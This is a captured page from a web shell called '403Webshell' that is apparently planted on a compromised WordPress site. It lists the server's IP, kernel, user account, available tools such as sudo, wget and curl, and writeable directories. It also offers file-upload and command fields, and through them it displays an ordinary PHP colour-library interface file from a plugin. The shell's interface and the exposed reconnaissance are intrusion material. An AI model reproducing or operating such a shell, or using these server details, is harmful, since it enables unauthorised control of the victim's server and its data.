403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/vendors/spatie/color/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/vendors/spatie/color/Color.php
<?php

/**
 * - Added Analysis trait (isDark, isLight)
 * - Added Manipulate trait (darken, desaturate, grayscale, invert, lighten, mix, rotate, saturate)
 * 
 * @package spatie/color v1.8.0
 */

namespace GeminiLabs\Spatie\Color;

interface Color
{
    public static function fromString(string $string);

    public function red();

    public function green();

    public function blue();

    public function toCIELab(): CIELab;

    public function toHex(?string $alpha = null): Hex;

    public function toHsb(): Hsb;

    public function toHsl(): Hsl;

    public function toHsla(?float $alpha = null): Hsla;

    public function toRgb(): Rgb;

    public function toRgba(?float $alpha = null): Rgba;

    public function toXyz(): Xyz;

    public function toCmyk(): Cmyk;

    public function __toString(): string;

    // Analysis

    public function isDark(): bool;

    public function isLight(): bool;

    // Manipulate

    public function darken(int $amount = 10): Color;

    public function desaturate(int $amount = 10): Color;

    public function grayscale(): Color;

    public function invert(): Color;

    public function lighten(int $amount = 10): Color;

    public function mix(string $withColor, float $ratio = 0): Color;

    public function rotate(int $amount = 180): Color;

    public function saturate(int $amount = 10): Color;
}

Youez - 2016 - github.com/yon3zu
LinuXploit